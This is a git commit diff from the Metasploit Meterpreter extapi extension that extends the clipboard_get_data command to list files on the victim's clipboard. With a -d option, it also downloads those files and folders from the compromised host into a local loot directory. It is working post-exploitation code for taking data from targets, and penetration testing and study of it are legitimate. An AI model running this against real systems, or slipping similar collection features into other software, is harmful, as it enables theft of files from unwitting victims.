Add CF_HDROP file support to the clipboard

`clipboard_get_data` has been changed so that raw text is supported and file listings are supported.

If files are on the clipboard, those files and folders are listed when this command is run. To download the files, pass in the `-d` option.
bug/bundler_fix
OJ 2013-10-16 17:44:58 +10:00
parent 414a814d5d
commit afc5e282a9
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
5 changed files with 101 additions and 15 deletions

View File

@ -23,13 +23,31 @@ class Clipboard
# Get the target clipboard data in whichever format we can
# (if it's supported.
def get_data()
results = []
request = Packet.create_request('extapi_clipboard_get_data')
response = client.send_request(request)
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
return text
if not text.nil?
results << {
:type => :text,
:data => text
}
end
files = response.get_tlv_values(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE)
if files.length > 0
results << {
:type => :files,
:data => files
}
end
return results
end
# Set the target clipboard data to a text value

View File

@ -29,6 +29,7 @@ TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_E
TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
end
end

View File

@ -38,22 +38,28 @@ class Console::CommandDispatcher::Extapi::Clipboard
# Options for the clipboard_get_data command.
#
@@get_data_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
"-h" => [ false, "Help banner" ],
"-d" => [ false, "Download content (if applicable)" ]
)
def print_clipboard_get_data_usage()
print(
"\nUsage: clipboard_get_data [-h]\n\n" +
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
"supported format, it is read and returned to the user.\n\n")
"supported format, it is read and returned to the user.\n\n" +
"-d : Downloads content that is associated with the clipboard where\n" +
" possible (eg. bitmap content, files, etc).\n\n")
end
#
# Get the data from the victim's clipboard
#
def cmd_clipboard_get_data(*args)
download_content = false
@@get_data_opts.parse(args) { |opt, idx, val|
case opt
when "-d"
download_content = true
when "-h"
print_clipboard_get_data_usage
return true
@ -61,18 +67,42 @@ class Console::CommandDispatcher::Extapi::Clipboard
}
# currently we only support text values
value = client.extapi.clipboard.get_data()
results = client.extapi.clipboard.get_data()
if value.nil?
if results.length == 0
print_error( "The current Clipboard data format is not supported." )
else
print_line()
print_line( "Current Clipboard Text" )
print_line( "-----------------------------------------------------" )
print_line( value )
print_line( "-----------------------------------------------------" )
print_line()
return false
end
results.each { |r|
case r[:type]
when :text
print_line( "Current Clipboard Text" )
print_line( "-----------------------------------------------------" )
print_line( r[:data] )
print_line( "-----------------------------------------------------" )
when :files
if download_content
loot_dir = generate_loot_dir( true )
print_line( "Downloading Clipboard Files" )
print_line( "-----------------------------------------------------" )
r[:data].each { |f|
download_file( loot_dir, f )
}
print_line( "-----------------------------------------------------" )
else
print_line( "Current Clipboard Files" )
print_line( "-----------------------------------------------------" )
r[:data].each { |f|
print_line( f )
}
print_line( "-----------------------------------------------------" )
end
end
print_line()
}
return true
end
#
@ -81,8 +111,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
@@set_text_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
def print_clipboard_set_text_usage()
def print_clipboard_set_text_usage()
print(
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
"Set the target's clipboard to the given text value.\n\n")
@ -105,6 +134,44 @@ class Console::CommandDispatcher::Extapi::Clipboard
return client.extapi.clipboard.set_text(args.join(" "))
end
protected
# TODO: get help from the MSF masters, because I have no
# idea what I am doing here.
def generate_loot_dir( create )
host = client.framework.db.normalize_host( client.session ) || 'unknown'
ws = 'default'
name = "#{Time.now.strftime( "%Y%m%d%H%M%S" )}_#{ws}_#{host}_clipboard"
name.gsub!( /[^a-z0-9\.\_]+/i, '' )
path = ::File.join( Msf::Config.loot_directory, name )
path = ::File.expand_path( path )
if create and not ::File.directory?( path )
::FileUtils.mkdir_p( path )
end
return path
end
def download_file( dest_folder, source )
stat = client.fs.file.stat( source )
base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
dest = File.join( dest_folder, base )
if stat.directory?
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
}
elsif stat.file?
client.fs.file.download( dest, source ) { |step, src, dst|
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
}
end
end
end
end